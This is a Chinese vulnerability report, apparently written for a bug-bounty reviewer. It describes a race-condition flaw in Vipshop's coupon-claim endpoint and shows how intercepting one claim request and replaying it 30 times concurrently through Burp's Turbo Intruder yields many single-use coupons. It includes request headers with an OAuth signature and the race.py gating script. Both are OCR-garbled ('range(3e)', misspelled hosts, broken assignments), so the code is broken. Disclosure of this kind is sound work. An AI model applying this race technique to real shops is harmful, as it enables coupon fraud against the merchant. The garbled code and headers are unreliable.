唯品会存在并发领取优惠券问题
漏洞等级：严重
起因：官方大大让我补充领取优惠券位置截图和数据包，我将重新演示
经测试发现所有只要能领取优惠券的指定商品都存在并发领取大量优惠券问题
[image: ]由于优惠券只能领取一次官方大大让我复现满10-1但是不能领取了  所以换个官网也可以领取  我将给审核大大进行演示

复现：发现此处也可以领券
[image: ]点击领取然后拦截数据包
[image: ]
拦截到此数据包 发送到并发模块 这里我用的Turbo 插件
[image: ]
这里就进行30次并发吧
[image: ]
并发成功 释放数据包  再来看券
[image: ][image: ]领取了好多个券
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Host: mapi appvipshop. com

X-VIP-Host: mapi appvipshop.com

Connection: close

(Accept-Encading: gzip, deflate
User-Agent: okhttp/3.11.0
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Authorization: OAuth api_sign=fead0a5m052c8 17696245081 d2b9e6531c45

Host: mapi. appiipshop.com

X-VIP-Host: mapi appipshop. com

Connection: close

Accept-Encoding: gzip, deflate%s|

User-Agent: okhttp/3.11.0

v
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| examples/race.py 1) | Choose scripts dir | {17
1 def queueRequests(target, wordlists): i

2 engine - RequestEngine(endpoint-target.endpoint,

3 concurrentConnections=38,

4 requestsPerConnection=100,

s pipeline=False

s )

7

8 # the 'gate’ argument blocks the final byte of each request until openGate is invoked
s for i in range(3e):

10 engine.queue(target.req, target.baseInput, gate='racel')

n

12 # wait until every ‘racel’ tagged request is ready

13 # then send the final byte of each request

14 # (this method is non-blocking, just Like queue) o

2
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